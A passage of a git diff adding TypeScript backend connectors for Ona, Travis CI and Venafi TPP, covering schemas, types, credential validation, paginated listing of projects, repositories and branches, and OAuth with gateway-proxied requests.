+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to validate credentials: ${
+          error.response?.data ? JSON.stringify(error.response?.data) : error.message || "Unknown error"
+        }`
+      });
+    }
+    throw new BadRequestError({
+      message: `Unable to validate connection: ${(error as Error).message || "Verify credentials"}`
+    });
+  }
+
+  return inputCredentials;
+};
+
+export const listOnaProjects = async (appConnection: TOnaConnection): Promise<TOnaProject[]> => {
+  const { personalAccessToken } = appConnection.credentials;
+
+  const allProjects: TOnaProject[] = [];
+  let token: string | undefined;
+  let hasMoreProjects = true;
+
+  try {
+    while (hasMoreProjects) {
+      const body: { pagination: { pageSize: number; token?: string } } = {
+        pagination: { pageSize: ONA_PAGE_SIZE, ...(token ? { token } : {}) }
+      };
+
+      const { data } = await request.post<TOnaProjectListResponse>(`${ONA_API_URL}${ONA_LIST_PROJECTS_PATH}`, body, {
+        headers: {
+          Authorization: `Bearer ${personalAccessToken}`,
+          "Content-Type": "application/json"
+        }
+      });
+
+      if (data?.projects?.length) {
+        allProjects.push(
+          ...data.projects.map((project) => ({
+            id: project.id,
+            name: project.metadata?.name || ""
+          }))
+        );
+      }
+
+      token = data?.pagination?.nextToken || undefined;
+      hasMoreProjects = Boolean(token);
+    }
+  } catch (error) {
+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to fetch Ona projects: ${
+          error.response?.data ? JSON.stringify(error.response?.data) : error.message || "Unknown error"
+        }`
+      });
+    }
+    throw error;
+  }
+
+  logger.info({ allProjects }, "Ona projects fetched successfully");
+
+  return allProjects;
+};
diff --git a/backend/src/services/app-connection/ona/ona-connection-schemas.ts b/backend/src/services/app-connection/ona/ona-connection-schemas.ts
new file mode 100644
index 00000000000..5f6d76c8ac0
--- /dev/null
+++ b/backend/src/services/app-connection/ona/ona-connection-schemas.ts
@@ -0,0 +1,67 @@
+import z from "zod";
+
+import { AppConnections } from "@app/lib/api-docs";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  BaseAppConnectionSchema,
+  GenericCreateAppConnectionFieldsSchema,
+  GenericUpdateAppConnectionFieldsSchema
+} from "@app/services/app-connection/app-connection-schemas";
+
+import { APP_CONNECTION_NAME_MAP } from "../app-connection-maps";
+import { OnaConnectionMethod } from "./ona-connection-enums";
+
+export const OnaConnectionPersonalAccessTokenCredentialsSchema = z.object({
+  personalAccessToken: z
+    .string()
+    .trim()
+    .min(1, "Personal Access Token required")
+    .describe(AppConnections.CREDENTIALS.ONA.personalAccessToken)
+});
+
+const BaseOnaConnectionSchema = BaseAppConnectionSchema.extend({
+  app: z.literal(AppConnection.Ona)
+});
+
+export const OnaConnectionSchema = BaseOnaConnectionSchema.extend({
+  method: z.literal(OnaConnectionMethod.PersonalAccessToken),
+  credentials: OnaConnectionPersonalAccessTokenCredentialsSchema
+});
+
+export const SanitizedOnaConnectionSchema = z.discriminatedUnion("method", [
+  BaseOnaConnectionSchema.extend({
+    method: z.literal(OnaConnectionMethod.PersonalAccessToken),
+    credentials: OnaConnectionPersonalAccessTokenCredentialsSchema.pick({})
+  }).describe(JSON.stringify({ title: `${APP_CONNECTION_NAME_MAP[AppConnection.Ona]} (Personal Access Token)` }))
+]);
+
+export const ValidateOnaConnectionCredentialsSchema = z.discriminatedUnion("method", [
+  z.object({
+    method: z
+      .literal(OnaConnectionMethod.PersonalAccessToken)
+      .describe(AppConnections.CREATE(AppConnection.Ona).method),
+    credentials: OnaConnectionPersonalAccessTokenCredentialsSchema.describe(
+      AppConnections.CREATE(AppConnection.Ona).credentials
+    )
+  })
+]);
+
+export const CreateOnaConnectionSchema = ValidateOnaConnectionCredentialsSchema.and(
+  GenericCreateAppConnectionFieldsSchema(AppConnection.Ona)
+);
+
+export const UpdateOnaConnectionSchema = z
+  .object({
+    credentials: OnaConnectionPersonalAccessTokenCredentialsSchema.optional().describe(
+      AppConnections.UPDATE(AppConnection.Ona).credentials
+    )
+  })
+  .and(GenericUpdateAppConnectionFieldsSchema(AppConnection.Ona));
+
+export const OnaConnectionListItemSchema = z
+  .object({
+    name: z.literal("Ona"),
+    app: z.literal(AppConnection.Ona),
+    methods: z.nativeEnum(OnaConnectionMethod).array()
+  })
+  .describe(JSON.stringify({ title: APP_CONNECTION_NAME_MAP[AppConnection.Ona] }));
diff --git a/backend/src/services/app-connection/ona/ona-connection-service.ts b/backend/src/services/app-connection/ona/ona-connection-service.ts
new file mode 100644
index 00000000000..bc2927dc228
--- /dev/null
+++ b/backend/src/services/app-connection/ona/ona-connection-service.ts
@@ -0,0 +1,28 @@
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import { listOnaProjects } from "./ona-connection-fns";
+import { TOnaConnection } from "./ona-connection-types";
+
+type TGetAppConnectionFunc = (
+  app: AppConnection,
+  connectionId: string,
+  actor: OrgServiceActor
+) => Promise<TOnaConnection>;
+
+export const onaConnectionService = (getAppConnection: TGetAppConnectionFunc) => {
+  const listProjects = async (connectionId: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.Ona, connectionId, actor);
+    try {
+      return await listOnaProjects(appConnection);
+    } catch (error) {
+      logger.error(error, "Failed to establish connection with Ona");
+      return [];
+    }
+  };
+
+  return {
+    listProjects
+  };
+};
diff --git a/backend/src/services/app-connection/ona/ona-connection-types.ts b/backend/src/services/app-connection/ona/ona-connection-types.ts
new file mode 100644
index 00000000000..cd13cb10320
--- /dev/null
+++ b/backend/src/services/app-connection/ona/ona-connection-types.ts
@@ -0,0 +1,41 @@
+import z from "zod";
+
+import { DiscriminativePick } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import {
+  CreateOnaConnectionSchema,
+  OnaConnectionSchema,
+  ValidateOnaConnectionCredentialsSchema
+} from "./ona-connection-schemas";
+
+export type TOnaConnection = z.infer<typeof OnaConnectionSchema>;
+
+export type TOnaConnectionInput = z.infer<typeof CreateOnaConnectionSchema> & {
+  app: AppConnection.Ona;
+};
+
+export type TValidateOnaConnectionCredentialsSchema = typeof ValidateOnaConnectionCredentialsSchema;
+
+export type TOnaConnectionConfig = DiscriminativePick<TOnaConnectionInput, "method" | "app" | "credentials"> & {
+  orgId: string;
+};
+
+export type TOnaProject = {
+  id: string;
+  name: string;
+};
+
+export type TOnaRawProject = {
+  id: string;
+  metadata?: {
+    name?: string;
+  };
+};
+
+export type TOnaProjectListResponse = {
+  projects: TOnaRawProject[];
+  pagination?: {
+    nextToken?: string;
+  };
+};
diff --git a/backend/src/services/app-connection/travis-ci/index.ts b/backend/src/services/app-connection/travis-ci/index.ts
new file mode 100644
index 00000000000..0649d781031
--- /dev/null
+++ b/backend/src/services/app-connection/travis-ci/index.ts
@@ -0,0 +1,4 @@
+export * from "./travis-ci-connection-enums";
+export * from "./travis-ci-connection-fns";
+export * from "./travis-ci-connection-schemas";
+export * from "./travis-ci-connection-types";
diff --git a/backend/src/services/app-connection/travis-ci/travis-ci-connection-enums.ts b/backend/src/services/app-connection/travis-ci/travis-ci-connection-enums.ts
new file mode 100644
index 00000000000..9e1a9644331
--- /dev/null
+++ b/backend/src/services/app-connection/travis-ci/travis-ci-connection-enums.ts
@@ -0,0 +1,3 @@
+export enum TravisCIConnectionMethod {
+  ApiToken = "api-token"
+}
diff --git a/backend/src/services/app-connection/travis-ci/travis-ci-connection-fns.ts b/backend/src/services/app-connection/travis-ci/travis-ci-connection-fns.ts
new file mode 100644
index 00000000000..ea602b68367
--- /dev/null
+++ b/backend/src/services/app-connection/travis-ci/travis-ci-connection-fns.ts
@@ -0,0 +1,153 @@
+import { AxiosError } from "axios";
+
+import { request } from "@app/lib/config/request";
+import { BadRequestError } from "@app/lib/errors";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { IntegrationUrls } from "@app/services/integration-auth/integration-list";
+
+import { TravisCIConnectionMethod } from "./travis-ci-connection-enums";
+import {
+  TravisCIBranch,
+  TravisCIRepository,
+  TTravisCIConnection,
+  TTravisCIConnectionConfig
+} from "./travis-ci-connection-types";
+
+const travisCIApiHeaders = (apiToken: string) => ({
+  Authorization: `token ${apiToken}`,
+  "Travis-API-Version": "3",
+  Accept: "application/json"
+});
+
+type TravisCIPaginationMeta = {
+  is_last?: boolean;
+  next?: { "@href": string } | null;
+};
+
+const resolveNextTravisCIUrl = (pagination: TravisCIPaginationMeta | undefined): string | undefined => {
+  const nextHref = pagination?.next?.["@href"];
+  if (pagination?.is_last || !nextHref) return undefined;
+  return nextHref.startsWith("http") ? nextHref : `${IntegrationUrls.TRAVISCI_API_URL}${nextHref}`;
+};
+
+export const getTravisCIConnectionListItem = () => {
+  return {
+    name: "Travis CI" as const,
+    app: AppConnection.TravisCI as const,
+    methods: Object.values(TravisCIConnectionMethod) as [TravisCIConnectionMethod.ApiToken]
+  };
+};
+
+export const validateTravisCIConnectionCredentials = async (config: TTravisCIConnectionConfig) => {
+  const { credentials: inputCredentials } = config;
+
+  try {
+    await request.get(`${IntegrationUrls.TRAVISCI_API_URL}/user`, {
+      headers: travisCIApiHeaders(inputCredentials.apiToken)
+    });
+  } catch (error: unknown) {
+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to validate credentials: ${
+          error.response?.data ? JSON.stringify(error.response?.data) : error.message || "Unknown error"
+        }`
+      });
+    }
+    throw new BadRequestError({
+      message: `Unable to validate connection: ${(error as Error).message || "Verify credentials"}`
+    });
+  }
+
+  return inputCredentials;
+};
+
+export const listTravisCIRepositories = async (appConnection: TTravisCIConnection): Promise<TravisCIRepository[]> => {
+  const {
+    credentials: { apiToken }
+  } = appConnection;
+
+  try {
+    type TravisCIRepositoriesResponse = {
+      "@pagination"?: TravisCIPaginationMeta;
+      repositories?: { id: string | number; slug: string }[];
+    };
+
+    const allRepos: { id: string | number; slug: string }[] = [];
+    let nextUrl: string | undefined = `${IntegrationUrls.TRAVISCI_API_URL}/repos`;
+
+    while (nextUrl) {
+      // eslint-disable-next-line no-await-in-loop
+      const { data }: { data: TravisCIRepositoriesResponse } = await request.get(nextUrl, {
+        headers: travisCIApiHeaders(apiToken)
+      });
+
+      if (Array.isArray(data.repositories)) {
+        allRepos.push(...data.repositories);
+      }
+
+      nextUrl = resolveNextTravisCIUrl(data["@pagination"]);
+    }
+
+    return allRepos.map((repo) => ({
+      id: String(repo.id),
+      slug: repo.slug,
+      name: repo.slug?.split("/")[1] ?? repo.slug
+    }));
+  } catch (error: unknown) {
+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to fetch Travis CI repositories: ${
+          error.response?.data ? JSON.stringify(error.response?.data) : error.message || "Unknown error"
+        }`
+      });
+    }
+    throw error;
+  }
+};
+
+export const listTravisCIBranches = async (
+  appConnection: TTravisCIConnection,
+  repositoryId: string
+): Promise<TravisCIBranch[]> => {
+  const {
+    credentials: { apiToken }
+  } = appConnection;
+
+  try {
+    type TravisCIBranchesResponse = {
+      "@pagination"?: TravisCIPaginationMeta;
+      branches?: { name: string; default_branch?: boolean }[];
+    };
+
+    const allBranches: { name: string; default_branch?: boolean }[] = [];
+    let nextUrl: string | undefined =
+      `${IntegrationUrls.TRAVISCI_API_URL}/repo/${encodeURIComponent(repositoryId)}/branches`;
+
+    while (nextUrl) {
+      // eslint-disable-next-line no-await-in-loop
+      const { data }: { data: TravisCIBranchesResponse } = await request.get(nextUrl, {
+        headers: travisCIApiHeaders(apiToken)
+      });
+
+      if (Array.isArray(data.branches)) {
+        allBranches.push(...data.branches);
+      }
+
+      nextUrl = resolveNextTravisCIUrl(data["@pagination"]);
+    }
+
+    return allBranches.map((branch) => ({
+      name: branch.name,
+      isDefault: Boolean(branch.default_branch)
+    }));
+  } catch (error: unknown) {
+    if (error instanceof AxiosError) {
+      throw new BadRequestError({
+        message: `Failed to fetch Travis CI branches: ${
+          error.response?.data ? JSON.stringify(error.response?.data) : error.message || "Unknown error"
+        }`
+      });
+    }
+    throw error;
+  }
+};
diff --git a/backend/src/services/app-connection/travis-ci/travis-ci-connection-schemas.ts b/backend/src/services/app-connection/travis-ci/travis-ci-connection-schemas.ts
new file mode 100644
index 00000000000..989d7dd4db5
--- /dev/null
+++ b/backend/src/services/app-connection/travis-ci/travis-ci-connection-schemas.ts
@@ -0,0 +1,61 @@
+import z from "zod";
+
+import { AppConnections } from "@app/lib/api-docs";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  BaseAppConnectionSchema,
+  GenericCreateAppConnectionFieldsSchema,
+  GenericUpdateAppConnectionFieldsSchema
+} from "@app/services/app-connection/app-connection-schemas";
+
+import { APP_CONNECTION_NAME_MAP } from "../app-connection-maps";
+import { TravisCIConnectionMethod } from "./travis-ci-connection-enums";
+
+export const TravisCIConnectionAccessTokenCredentialsSchema = z.object({
+  apiToken: z.string().trim().min(1, "API Token required").describe(AppConnections.CREDENTIALS.TRAVISCI.apiToken)
+});
+
+const BaseTravisCIConnectionSchema = BaseAppConnectionSchema.extend({
+  app: z.literal(AppConnection.TravisCI)
+});
+
+export const TravisCIConnectionSchema = BaseTravisCIConnectionSchema.extend({
+  method: z.literal(TravisCIConnectionMethod.ApiToken),
+  credentials: TravisCIConnectionAccessTokenCredentialsSchema
+});
+
+export const SanitizedTravisCIConnectionSchema = z.discriminatedUnion("method", [
+  BaseTravisCIConnectionSchema.extend({
+    method: z.literal(TravisCIConnectionMethod.ApiToken),
+    credentials: TravisCIConnectionAccessTokenCredentialsSchema.pick({})
+  }).describe(JSON.stringify({ title: `${APP_CONNECTION_NAME_MAP[AppConnection.TravisCI]} (API Token)` }))
+]);
+
+export const ValidateTravisCIConnectionCredentialsSchema = z.discriminatedUnion("method", [
+  z.object({
+    method: z.literal(TravisCIConnectionMethod.ApiToken).describe(AppConnections.CREATE(AppConnection.TravisCI).method),
+    credentials: TravisCIConnectionAccessTokenCredentialsSchema.describe(
+      AppConnections.CREATE(AppConnection.TravisCI).credentials
+    )
+  })
+]);
+
+export const CreateTravisCIConnectionSchema = ValidateTravisCIConnectionCredentialsSchema.and(
+  GenericCreateAppConnectionFieldsSchema(AppConnection.TravisCI)
+);
+
+export const UpdateTravisCIConnectionSchema = z
+  .object({
+    credentials: TravisCIConnectionAccessTokenCredentialsSchema.optional().describe(
+      AppConnections.UPDATE(AppConnection.TravisCI).credentials
+    )
+  })
+  .and(GenericUpdateAppConnectionFieldsSchema(AppConnection.TravisCI));
+
+export const TravisCIConnectionListItemSchema = z
+  .object({
+    name: z.literal("Travis CI"),
+    app: z.literal(AppConnection.TravisCI),
+    methods: z.nativeEnum(TravisCIConnectionMethod).array()
+  })
+  .describe(JSON.stringify({ title: APP_CONNECTION_NAME_MAP[AppConnection.TravisCI] }));
diff --git a/backend/src/services/app-connection/travis-ci/travis-ci-connection-service.ts b/backend/src/services/app-connection/travis-ci/travis-ci-connection-service.ts
new file mode 100644
index 00000000000..10c350f7339
--- /dev/null
+++ b/backend/src/services/app-connection/travis-ci/travis-ci-connection-service.ts
@@ -0,0 +1,39 @@
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import { listTravisCIBranches, listTravisCIRepositories } from "./travis-ci-connection-fns";
+import { TTravisCIConnection } from "./travis-ci-connection-types";
+
+type TGetAppConnectionFunc = (
+  app: AppConnection,
+  connectionId: string,
+  actor: OrgServiceActor
+) => Promise<TTravisCIConnection>;
+
+export const travisCIConnectionService = (getAppConnection: TGetAppConnectionFunc) => {
+  const listRepositories = async (connectionId: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.TravisCI, connectionId, actor);
+    try {
+      return await listTravisCIRepositories(appConnection);
+    } catch (error) {
+      logger.error(error, "Failed to list Travis CI repositories");
+      return [];
+    }
+  };
+
+  const listBranches = async (connectionId: string, repositoryId: string, actor: OrgServiceActor) => {
+    const appConnection = await getAppConnection(AppConnection.TravisCI, connectionId, actor);
+    try {
+      return await listTravisCIBranches(appConnection, repositoryId);
+    } catch (error) {
+      logger.error(error, "Failed to list Travis CI branches");
+      return [];
+    }
+  };
+
+  return {
+    listRepositories,
+    listBranches
+  };
+};
diff --git a/backend/src/services/app-connection/travis-ci/travis-ci-connection-types.ts b/backend/src/services/app-connection/travis-ci/travis-ci-connection-types.ts
new file mode 100644
index 00000000000..d1067591cad
--- /dev/null
+++ b/backend/src/services/app-connection/travis-ci/travis-ci-connection-types.ts
@@ -0,0 +1,36 @@
+import z from "zod";
+
+import { DiscriminativePick } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import {
+  CreateTravisCIConnectionSchema,
+  TravisCIConnectionSchema,
+  ValidateTravisCIConnectionCredentialsSchema
+} from "./travis-ci-connection-schemas";
+
+export type TTravisCIConnection = z.infer<typeof TravisCIConnectionSchema>;
+
+export type TTravisCIConnectionInput = z.infer<typeof CreateTravisCIConnectionSchema> & {
+  app: AppConnection.TravisCI;
+};
+
+export type TValidateTravisCIConnectionCredentialsSchema = typeof ValidateTravisCIConnectionCredentialsSchema;
+
+export type TTravisCIConnectionConfig = DiscriminativePick<
+  TTravisCIConnectionInput,
+  "method" | "app" | "credentials"
+> & {
+  orgId: string;
+};
+
+export type TravisCIRepository = {
+  id: string;
+  name: string;
+  slug: string;
+};
+
+export type TravisCIBranch = {
+  name: string;
+  isDefault: boolean;
+};
diff --git a/backend/src/services/app-connection/venafi-tpp/index.ts b/backend/src/services/app-connection/venafi-tpp/index.ts
new file mode 100644
index 00000000000..596acec3f76
--- /dev/null
+++ b/backend/src/services/app-connection/venafi-tpp/index.ts
@@ -0,0 +1,4 @@
+export * from "./venafi-tpp-connection-enums";
+export * from "./venafi-tpp-connection-fns";
+export * from "./venafi-tpp-connection-schemas";
+export * from "./venafi-tpp-connection-types";
diff --git a/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-enums.ts b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-enums.ts
new file mode 100644
index 00000000000..5cdd3a1f04f
--- /dev/null
+++ b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-enums.ts
@@ -0,0 +1,3 @@
+export enum VenafiTppConnectionMethod {
+  OAuth = "oauth"
+}
diff --git a/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-fns.ts b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-fns.ts
new file mode 100644
index 00000000000..2ffdfef1b7d
--- /dev/null
+++ b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-fns.ts
@@ -0,0 +1,233 @@
+import { AxiosError, AxiosRequestConfig, AxiosResponse } from "axios";
+import https from "https";
+import RE2 from "re2";
+
+import { verifyHostInputValidity } from "@app/ee/services/dynamic-secret/dynamic-secret-fns";
+import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
+import { request } from "@app/lib/config/request";
+import { BadRequestError } from "@app/lib/errors";
+import { GatewayProxyProtocol } from "@app/lib/gateway";
+import { withGatewayV2Proxy } from "@app/lib/gateway-v2/gateway-v2";
+import { logger } from "@app/lib/logger";
+import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator/validate-url";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+
+import { VenafiTppConnectionMethod } from "./venafi-tpp-connection-enums";
+import { TVenafiTppConnectionConfig } from "./venafi-tpp-connection-types";
+
+type TVenafiTppCredentials = {
+  tppUrl: string;
+  clientId: string;
+  username: string;
+  password: string;
+};
+
+type TVenafiTppOAuthResponse = {
+  access_token: string;
+  refresh_token: string;
+  expires_in: number;
+  expires: number;
+  token_type: string;
+  scope: string;
+  identity: string;
+};
+
+/**
+ * Normalizes the TPP base URL by removing trailing slashes
+ */
+const normalizeTppUrl = (tppUrl: string): string => {
+  return tppUrl.replace(new RE2("\\/+$"), "");
+};
+
+/**
+ * Issues an HTTP request to the Venafi TPP server, routing through the configured
+ * gateway transport when the connection has a gatewayId set.
+ */
+export const requestWithVenafiTppGateway = async <T>(
+  appConnection: { gatewayId?: string | null },
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">,
+  requestConfig: AxiosRequestConfig
+): Promise<AxiosResponse<T>> => {
+  const { gatewayId } = appConnection;
+
+  const url = new URL(requestConfig.url as string);
+  await blockLocalAndPrivateIpAddresses(url.toString(), Boolean(gatewayId));
+
+  if (!gatewayId) {
+    return request.request(requestConfig);
+  }
+
+  const [targetHost] = await verifyHostInputValidity({ host: url.hostname, isGateway: true, isDynamicSecret: false });
+  // eslint-disable-next-line no-nested-ternary
+  const targetPort = url.port ? Number(url.port) : url.protocol === "https:" ? 443 : 80;
+
+  const gatewayConnectionDetails = await gatewayV2Service.getPlatformConnectionDetailsByGatewayId({
+    gatewayId,
+    targetHost,
+    targetPort
+  });
+
+  if (!gatewayConnectionDetails) {
+    throw new BadRequestError({
+      message: "Venafi TPP connections only support v2 gateways. Please attach a v2 gateway to this connection."
+    });
+  }
+
+  return withGatewayV2Proxy(
+    async (proxyPort) => {
+      const isHttps = url.protocol === "https:";
+      url.host = `localhost:${proxyPort}`;
+
+      const finalRequestConfig: AxiosRequestConfig = {
+        ...requestConfig,
+        url: url.toString(),
+        headers: {
+          ...requestConfig.headers,
+          Host: targetHost
+        },
+        ...(isHttps && {
+          httpsAgent: new https.Agent({
+            servername: targetHost
+          })
+        })
+      };
+
+      try {
+        return await request.request(finalRequestConfig);
+      } catch (error) {
+        if (error instanceof AxiosError) {
+          logger.error(
+            { message: error.message, data: (error.response as undefined | { data: unknown })?.data },
+            "Error during Venafi TPP gateway request:"
+          );
+        }
+        throw error;
+      }
+    },
+    {
+      protocol: GatewayProxyProtocol.Tcp,
+      relayHost: gatewayConnectionDetails.relayHost,
+      gateway: gatewayConnectionDetails.gateway,
+      relay: gatewayConnectionDetails.relay
+    }
+  );
+};
+
+/**
+ * Authenticates with Venafi TPP via OAuth and returns an access token.
+ */
+export const authenticateVenafiTpp = async (
+  { credentials, ...appConnection }: { gatewayId?: string | null; credentials: TVenafiTppCredentials },
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">
+): Promise<TVenafiTppOAuthResponse> => {
+  const { tppUrl, clientId, username, password } = credentials;
+  const baseUrl = normalizeTppUrl(tppUrl);
+
+  logger.info("Venafi TPP: Authenticating via OAuth token endpoint");
+
+  const { data } = await requestWithVenafiTppGateway<TVenafiTppOAuthResponse>(appConnection, gatewayV2Service, {
+    method: "POST",
+    url: `${baseUrl}/vedauth/authorize/oauth`,
+    data: {
+      client_id: clientId,
+      username,
+      password,
+      scope: "certificate:manage,discover,revoke;configuration"
+    }
+  });
+
+  logger.info("Venafi TPP: Successfully obtained access token");
+
+  return data;
+};
+
+/**
+ * Revokes a Venafi TPP access token.
+ */
+export const revokeVenafiTppToken = async (
+  { credentials, ...appConnection }: { gatewayId?: string | null; credentials: { tppUrl: string } },
+  accessToken: string,
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">
+): Promise<void> => {
+  const baseUrl = normalizeTppUrl(credentials.tppUrl);
+
+  try {
+    await requestWithVenafiTppGateway(appConnection, gatewayV2Service, {
+      method: "GET",
+      url: `${baseUrl}/vedauth/revoke/token`,
+      headers: {
+        Authorization: `Bearer ${accessToken}`
+      }
+    });
+    logger.info("Venafi TPP: Successfully revoked access token");
+  } catch (error) {
+    logger.warn(error, "Venafi TPP: Failed to revoke access token");
+  }
+};
+
+export const getVenafiTppHeaders = (accessToken: string) => ({
+  Authorization: `Bearer ${accessToken}`,
+  "Content-Type": "application/json"
+});
+
+export const getVenafiTppConnectionListItem = () => {
+  return {
+    name: "Venafi TPP" as const,
+    app: AppConnection.VenafiTpp as const,
+    methods: Object.values(VenafiTppConnectionMethod) as [VenafiTppConnectionMethod.OAuth]
+  };
+};
+
+export const validateVenafiTppConnectionCredentials = async (
+  config: TVenafiTppConnectionConfig,
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">
+) => {
+  const credentials = config.credentials as TVenafiTppCredentials;
+  const { tppUrl } = credentials;
+
+  logger.info({ tppUrl }, "Venafi TPP: Validating connection credentials");
+
+  let accessToken: string | undefined;
+  try {
+    const authResponse = await authenticateVenafiTpp({ gatewayId: config.gatewayId, credentials }, gatewayV2Service);
+    accessToken = authResponse.access_token;
+
+    logger.info(
+      {
+        tppUrl,
+        identity: authResponse.identity,
+        scope: authResponse.scope
+      },
+      "Venafi TPP: Credential validation successful"
+    );
+  } catch (error: unknown) {
+    if (error instanceof BadRequestError) {
+      throw error;
+    }
+    if (error instanceof AxiosError) {
+      const statusCode = error.response?.status;
+      const errorMessage =
+        // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
+        (error.response?.data?.error_description as string) ||
+        // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
+        (error.response?.data?.error as string) ||
+        error.message;
+
+      logger.error({ tppUrl, statusCode, errorMessage }, "Venafi TPP: Failed to validate credentials");
+
+      throw new BadRequestError({
+        message: `Failed to validate Venafi TPP credentials: ${errorMessage}`
+      });
+    }
+    logger.error(error, "Venafi TPP: Unexpected error during credential validation");
+    throw new BadRequestError({
+      message: `Failed to validate Venafi TPP credentials: ${(error as Error)?.message || "Unknown error"}`
+    });
+  } finally {
+    if (accessToken) {
+      await revokeVenafiTppToken({ gatewayId: config.gatewayId, credentials }, accessToken, gatewayV2Service);
+    }
+  }
+
+  return config.credentials;
+};
diff --git a/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-schemas.ts b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-schemas.ts
new file mode 100644
index 00000000000..aff8c0d796f
--- /dev/null
+++ b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-schemas.ts
@@ -0,0 +1,85 @@
+import z from "zod";
+
+import { AppConnections } from "@app/lib/api-docs";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import {
+  BaseAppConnectionSchema,
+  GenericCreateAppConnectionFieldsSchema,
+  GenericUpdateAppConnectionFieldsSchema
+} from "@app/services/app-connection/app-connection-schemas";
+
+import { APP_CONNECTION_NAME_MAP } from "../app-connection-maps";
+import { VenafiTppConnectionMethod } from "./venafi-tpp-connection-enums";
+
+export const VenafiTppOAuthCredentialsSchema = z.object({
+  tppUrl: z
+    .string()
+    .trim()
+    .min(1, "TPP URL required")
+    .max(512)
+    .refine((value) => value.startsWith("https://"), "TPP URL must use HTTPS")
+    .describe(AppConnections.CREDENTIALS.VENAFI_TPP.tppUrl),
+  clientId: z
+    .string()
+    .trim()
+    .min(1, "Client ID required")
+    .max(255)
+    .describe(AppConnections.CREDENTIALS.VENAFI_TPP.clientId),
+  username: z
+    .string()
+    .trim()
+    .min(1, "Username required")
+    .max(255)
+    .describe(AppConnections.CREDENTIALS.VENAFI_TPP.username),
+  password: z
+    .string()
+    .trim()
+    .min(1, "Password required")
+    .max(255)
+    .describe(AppConnections.CREDENTIALS.VENAFI_TPP.password)
+});
+
+const BaseVenafiTppConnectionSchema = BaseAppConnectionSchema.extend({ app: z.literal(AppConnection.VenafiTpp) });
+
+export const VenafiTppConnectionSchema = BaseVenafiTppConnectionSchema.extend({
+  method: z.literal(VenafiTppConnectionMethod.OAuth),
+  credentials: VenafiTppOAuthCredentialsSchema
+});
+
+export const SanitizedVenafiTppConnectionSchema = z.discriminatedUnion("method", [
+  BaseVenafiTppConnectionSchema.extend({
+    method: z.literal(VenafiTppConnectionMethod.OAuth),
+    credentials: VenafiTppOAuthCredentialsSchema.pick({
+      tppUrl: true,
+      clientId: true,
+      username: true
+    })
+  }).describe(JSON.stringify({ title: `${APP_CONNECTION_NAME_MAP[AppConnection.VenafiTpp]} (OAuth)` }))
+]);
+
+export const ValidateVenafiTppConnectionCredentialsSchema = z.discriminatedUnion("method", [
+  z.object({
+    method: z.literal(VenafiTppConnectionMethod.OAuth).describe(AppConnections.CREATE(AppConnection.VenafiTpp).method),
+    credentials: VenafiTppOAuthCredentialsSchema.describe(AppConnections.CREATE(AppConnection.VenafiTpp).credentials)
+  })
+]);
+
+export const CreateVenafiTppConnectionSchema = ValidateVenafiTppConnectionCredentialsSchema.and(
+  GenericCreateAppConnectionFieldsSchema(AppConnection.VenafiTpp, { supportsGateways: true })
+);
+
+export const UpdateVenafiTppConnectionSchema = z
+  .object({
+    credentials: VenafiTppOAuthCredentialsSchema.optional().describe(
+      AppConnections.UPDATE(AppConnection.VenafiTpp).credentials
+    )
+  })
+  .and(GenericUpdateAppConnectionFieldsSchema(AppConnection.VenafiTpp, { supportsGateways: true }));
+
+export const VenafiTppConnectionListItemSchema = z
+  .object({
+    name: z.literal("Venafi TPP"),
+    app: z.literal(AppConnection.VenafiTpp),
+    methods: z.nativeEnum(VenafiTppConnectionMethod).array()
+  })
+  .describe(JSON.stringify({ title: APP_CONNECTION_NAME_MAP[AppConnection.VenafiTpp] }));
diff --git a/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-types.ts b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-types.ts
new file mode 100644
index 00000000000..5a4e665a40e
--- /dev/null
+++ b/backend/src/services/app-connection/venafi-tpp/venafi-tpp-connection-types.ts
@@ -0,0 +1,25 @@
+import z from "zod";
+
+import { DiscriminativePick } from "@app/lib/types";
+
+import { AppConnection } from "../app-connection-enums";
+import {
+  CreateVenafiTppConnectionSchema,
+  ValidateVenafiTppConnectionCredentialsSchema,
+  VenafiTppConnectionSchema
+} from "./venafi-tpp-connection-schemas";
+
+export type TVenafiTppConnection = z.infer<typeof VenafiTppConnectionSchema>;
+
